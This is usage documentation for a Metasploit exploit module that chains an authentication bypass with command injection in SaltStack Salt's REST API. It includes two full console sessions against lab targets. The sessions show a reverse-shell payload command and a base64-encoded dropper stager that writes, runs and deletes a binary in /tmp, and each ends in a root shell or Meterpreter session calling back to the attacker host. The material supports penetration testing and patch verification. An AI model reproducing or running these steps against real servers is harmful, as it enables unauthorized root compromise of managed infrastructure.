## Vulnerable Application

### Description

This module exploits an authentication bypass and command injection in
SaltStack Salt's REST API to execute commands as the root user.

The following versions have received a patch: 2015.8.10, 2015.8.13,
2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,
2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,
3001.1, 3001.2, and 3002.

Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.

### Setup

Follow the [Docker
steps](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/misc/saltstack_salt_unauth_rce.md#using-docker)
for [CVE-2020-11651](https://nvd.nist.gov/vuln/detail/CVE-2020-11651).

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Scenarios

### SaltStack Salt 2019.2.3 from Vulhub

```
msf > use exploit/linux/http/saltstack_salt_api_cmd_exec
[*] Using configured payload cmd/unix/reverse_python_ssl
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > options

Module options (exploit/linux/http/saltstack_salt_api_cmd_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8000             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > run

[+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' ')[0]))"
[*] Started reverse SSL handler on 192.168.1.7:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Auth bypass successful.
[*] Executing Unix Command for cmd/unix/reverse_python_ssl
[*] Executing command: python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' ')[0]))"
[*] Command shell session 1 opened (192.168.1.7:4444 -> 192.168.1.7:64795) at 2020-11-11 01:55:12 -0600

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux c861a41f03f1 4.19.76-linuxkit #1 SMP Tue May 26 11:42:35 UTC 2020 x86_64 GNU/Linux
```

### SaltStack Salt 3002 on Ubuntu 20.04.1

```
msf > use exploit/linux/http/saltstack_salt_api_cmd_exec
[*] Using configured payload cmd/unix/reverse_python_ssl
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set target Linux\ Dropper
target => Linux Dropper
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > options

Module options (exploit/linux/http/saltstack_salt_api_cmd_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8000             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf exploit(linux/http/saltstack_salt_api_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.7:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Auth bypass successful.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoAQdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/rhOKr.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/OwIzx' < '/tmp/rhOKr.b64' ; chmod +x '/tmp/OwIzx' ; '/tmp/OwIzx' & sleep 2 ; rm -f '/tmp/OwIzx' ; rm -f '/tmp/rhOKr.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoAQdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/rhOKr.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/OwIzx' < '/tmp/rhOKr.b64' ; chmod +x '/tmp/OwIzx' ; '/tmp/OwIzx' & sleep 2 ; rm -f '/tmp/OwIzx' ; rm -f '/tmp/rhOKr.b64'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.1.7
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Meterpreter session 1 opened (192.168.1.7:4444 -> 192.168.1.7:64780) at 2020-11-11 01:53:05 -0600

meterpreter > getuid
Server username: root @ 4af10b3f4a2a (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 4.19.76-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
